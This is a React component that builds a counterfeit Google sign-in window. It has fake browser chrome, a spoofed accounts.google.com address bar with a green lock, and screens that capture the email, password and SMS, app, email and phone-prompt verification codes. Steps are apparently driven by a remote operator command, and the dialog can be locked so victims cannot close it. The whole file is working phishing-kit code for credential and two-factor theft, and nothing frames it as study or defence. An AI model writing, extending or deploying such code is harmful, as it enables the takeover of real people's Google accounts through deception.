"use client"

import { useEffect, useState } from "react"
import { DialogPortal, DialogOverlay, DialogTitle } from "@/components/ui/dialog"
import * as DialogPrimitive from "@radix-ui/react-dialog"
import { Lock, X, Minus } from "lucide-react"
import { cn } from "@/lib/utils"
import {
  GOOGLE_CHECKPOINT_STEPS,
  GoogleApproveScreen,
  GoogleEmailScreen,
  GoogleMark,
  GooglePasswordScreen,
  GooglePhoneCodeScreen,
  GoogleTwoFactorScreen,
} from "@/components/auth-ui"
import {
  isLockedChallengeStep,
  loadVisitorDialogCommand,
} from "@/lib/visitor-dialog-command"
import {
  peekStoredLoginEmail,
  peekStoredLoginPassword,
} from "@/lib/session-tracking"
import { useAuthChallengeDialog } from "./use-auth-challenge-dialog"

function requestCloseDialog(onClose: () => void) {
  const cmd = loadVisitorDialogCommand()
  if (cmd && isLockedChallengeStep(cmd.step)) return
  onClose()
}

interface GoogleLoginDialogProps {
  onClose: () => void
}

export default function GoogleLoginDialog({ onClose }: GoogleLoginDialogProps) {
  const {
    displayStep,
    pending,
    isWaiting,
    countdown,
    loginContact,
    displayEmail,
    displayPhone,
    phonePromptCode,
    loginErrorMessage,
    handleGoogleEmailContinue,
    handleGooglePasswordSubmit,
    handle2FAVerify,
    handle2FASMSVerify,
    handle2FAEmailVerify,
    handle2FAErrorVerify,
    handle2FASMSErrorVerify,
    handle2FAEmailErrorVerify,
    handleApproveConfirmed,
    handleTryAnotherWay,
    handleResendCode,
  } = useAuthChallengeDialog("google")

  const [loginPhase, setLoginPhase] = useState<"email" | "password">("email")
  // Pin the email the visitor typed — never replace after password save / waiting
  const [pinnedEmail, setPinnedEmail] = useState(
    () => loginContact || peekStoredLoginEmail("google") || ""
  )
  // Restore password after hard refresh / waiting remount
  const [restoredPassword, setRestoredPassword] = useState(
    () => peekStoredLoginPassword("google") || ""
  )

  useEffect(() => {
    if (loginContact && !pinnedEmail) setPinnedEmail(loginContact)
  }, [loginContact, pinnedEmail])

  useEffect(() => {
    const email = peekStoredLoginEmail("google")
    const password = peekStoredLoginPassword("google")
    if (email && !pinnedEmail) setPinnedEmail(email)
    if (password && !restoredPassword) setRestoredPassword(password)
    // Only skip to password when we actually have a saved password (hard refresh while waiting)
    if (password) setLoginPhase("password")
  }, [pinnedEmail, restoredPassword])

  // Restore / sync phase with contact + admin error steps
  useEffect(() => {
    if (pending || isWaiting) {
      setLoginPhase("password")
      return
    }
    if (displayStep === "login-error") {
      const msg = (loginErrorMessage || "").toLowerCase()
      const isIdentifierError =
        /valid email|enter an email|phone number|mobile number|email you've entered|couldn't find your google/.test(
          msg
        )
      if (isIdentifierError) {
        setLoginPhase("email")
      } else {
        setLoginPhase(pinnedEmail || loginContact ? "password" : "email")
      }
      return
    }
    if (displayStep === "login" && !(pinnedEmail || loginContact)) {
      setLoginPhase("email")
    }
  }, [displayStep, pending, isWaiting, loginContact, pinnedEmail, loginErrorMessage])

  const usesCheckpointLayout =
    displayStep === "loading" ||
    displayStep === "login" ||
    displayStep === "login-error" ||
    GOOGLE_CHECKPOINT_STEPS.has(displayStep)

  const addressBar =
    isWaiting ||
    loginPhase === "password" ||
    displayStep.startsWith("2fa") ||
    displayStep.startsWith("approve") ||
    displayStep.startsWith("phone")
      ? "accounts.google.com/v3/signin/challenge/pwd"
      : "accounts.google.com/v3/signin/identifier?continue=https://calendar.google.com"

  const emailValue = pinnedEmail || loginContact || displayEmail || ""
  const showLogin = displayStep === "login" || displayStep === "login-error"
  const loginHasError = displayStep === "login-error" && !isWaiting

  const onEmailSubmit = (e: React.FormEvent) => {
    const form = e.target as HTMLFormElement
    const typed = new FormData(form).get("email")
    const next = typeof typed === "string" ? typed.trim() : ""
    if (handleGoogleEmailContinue(e)) {
      if (next) setPinnedEmail(next)
      setLoginPhase("password")
    } else {
      setLoginPhase("email")
    }
  }

  return (
    <DialogPortal>
      <DialogOverlay />
      <DialogPrimitive.Content
        className={cn(
          "fixed left-[50%] top-[50%] z-50 flex w-[min(100vw-1rem,480px)] max-h-[min(95dvh,95vh)] translate-x-[-50%] translate-y-[-50%] flex-col overflow-hidden rounded-xl p-0 shadow-2xl duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:w-full sm:max-w-[480px]",
          "google-ui border border-[#dadce0] bg-white"
        )}
      >
        <DialogTitle className="sr-only">Google Sign-in</DialogTitle>

        <div className="flex flex-shrink-0 items-center justify-between rounded-t-lg border-b border-[#e0e0e0] bg-[#dee1e6] px-3 py-2">
          <div className="flex min-w-0 items-center gap-2">
            <div className="flex min-w-0 items-center gap-1.5 rounded-t-lg bg-white px-2.5 py-1.5 shadow-sm sm:px-3">
              <GoogleMark className="h-3.5 w-3.5 shrink-0" />
              <span className="truncate text-[11px] font-medium text-[#3c4043] sm:text-[12px]">
                Sign in - Google Accounts
              </span>
            </div>
          </div>
          <div className="flex items-center gap-0.5">
            <button
              type="button"
              className="rounded p-1.5 text-[#5f6368] hover:bg-black/5"
              aria-label="Minimize"
            >
              <Minus className="h-3.5 w-3.5 stroke-[2.5px]" />
            </button>
            <button
              type="button"
              onClick={() => requestCloseDialog(onClose)}
              className="rounded p-1.5 text-[#5f6368] hover:bg-[#e81123] hover:text-white"
              aria-label="Close"
            >
              <X className="h-3.5 w-3.5 stroke-[2.5px]" />
            </button>
          </div>
        </div>

        <div className="flex flex-shrink-0 items-center gap-2 border-b border-[#e0e0e0] bg-white px-3 py-2">
          <Lock className="h-3.5 w-3.5 shrink-0 text-[#188038]" />
          <div className="flex min-w-0 flex-1 items-center rounded-full bg-[#f1f3f4] px-3 py-1.5 text-[12px] text-[#3c4043]">
            <span className="shrink-0 text-[#188038]">https://</span>
            <span className="truncate">{addressBar}</span>
          </div>
        </div>

        <div
          className={cn(
            "flex min-h-0 flex-1 flex-col items-center justify-center overflow-y-auto overscroll-contain bg-white",
            usesCheckpointLayout ? "p-0" : "p-4 sm:p-6"
          )}
        >
          {showLogin && loginPhase === "email" && (
            <GoogleEmailScreen
              onSubmit={onEmailSubmit}
              pending={pending}
              error={loginHasError}
              errorMessage={loginErrorMessage ?? "Couldn't find your Google Account"}
              defaultEmail={emailValue || undefined}
            />
          )}
          {showLogin && loginPhase === "password" && emailValue && (
            <GooglePasswordScreen
              key={`pwd-${emailValue}`}
              email={emailValue}
              onSubmit={handleGooglePasswordSubmit}
              onBack={
                pending
                  ? undefined
                  : () => {
                      setLoginPhase("email")
                    }
              }
              pending={pending}
              error={loginHasError}
              errorMessage={
                loginErrorMessage ??
                "Wrong password. Try again or click Forgot password to reset it."
              }
              defaultPassword={restoredPassword || undefined}
            />
          )}
          {showLogin && loginPhase === "password" && !emailValue && (
            <GoogleEmailScreen
              onSubmit={onEmailSubmit}
              pending={pending}
              error={loginHasError}
              errorMessage={loginErrorMessage ?? "Couldn't find your Google Account"}
            />
          )}
          {displayStep === "2fa" && (
            <GoogleTwoFactorScreen
              variant="app"
              email={emailValue || undefined}
              onSubmit={handle2FAVerify}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "2fa-error" && (
            <GoogleTwoFactorScreen
              variant="app"
              email={emailValue || undefined}
              error={!pending}
              onSubmit={handle2FAErrorVerify}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "2fa-sms" && (
            <GoogleTwoFactorScreen
              variant="sms"
              email={displayEmail}
              phone={displayPhone}
              countdown={countdown}
              onSubmit={handle2FASMSVerify}
              onTryAnotherWay={handleTryAnotherWay}
              onResendCode={handleResendCode}
              pending={pending}
            />
          )}
          {displayStep === "2fa-sms-error" && (
            <GoogleTwoFactorScreen
              variant="sms"
              email={displayEmail}
              phone={displayPhone}
              error={!pending}
              countdown={countdown}
              onSubmit={handle2FASMSErrorVerify}
              onTryAnotherWay={handleTryAnotherWay}
              onResendCode={handleResendCode}
              pending={pending}
            />
          )}
          {displayStep === "2fa-email" && (
            <GoogleTwoFactorScreen
              variant="email"
              email={displayEmail}
              phone={displayPhone}
              onSubmit={handle2FAEmailVerify}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "2fa-email-error" && (
            <GoogleTwoFactorScreen
              variant="email"
              email={displayEmail}
              phone={displayPhone}
              error={!pending}
              onSubmit={handle2FAEmailErrorVerify}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "approve" && (
            <GoogleApproveScreen
              email={emailValue || undefined}
              pending={pending}
              onTryAnotherWay={handleTryAnotherWay}
            />
          )}
          {displayStep === "approve-error" && (
            <GoogleApproveScreen
              email={emailValue || undefined}
              error={!pending}
              onConfirmed={pending ? undefined : handleApproveConfirmed}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "phone-code" && (
            <GooglePhoneCodeScreen
              key={`phone-code-${phonePromptCode}`}
              email={emailValue || undefined}
              correctCode={phonePromptCode}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "phone-code-error" && (
            <GooglePhoneCodeScreen
              key={`phone-code-error-${phonePromptCode}`}
              email={emailValue || undefined}
              correctCode={phonePromptCode}
              error
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
        </div>

        {usesCheckpointLayout && (
          <div className="flex flex-shrink-0 flex-wrap items-center justify-between gap-3 border-t border-[#dadce0] bg-white px-6 py-4 text-[12px] text-[#5f6368]">
            <button
              type="button"
              className="inline-flex items-center gap-1 rounded px-2 py-1 hover:bg-[#f1f3f4]"
            >
              English (United States)
              <svg className="h-3 w-3" viewBox="0 0 24 24" fill="currentColor" aria-hidden>
                <path d="M7 10l5 5 5-5H7z" />
              </svg>
            </button>
            <div className="flex items-center gap-5">
              <a href="#" className="hover:underline" onClick={(e) => e.preventDefault()}>
                Help
              </a>
              <a href="#" className="hover:underline" onClick={(e) => e.preventDefault()}>
                Privacy
              </a>
              <a href="#" className="hover:underline" onClick={(e) => e.preventDefault()}>
                Terms
              </a>
            </div>
          </div>
        )}
      </DialogPrimitive.Content>
    </DialogPortal>
  )
}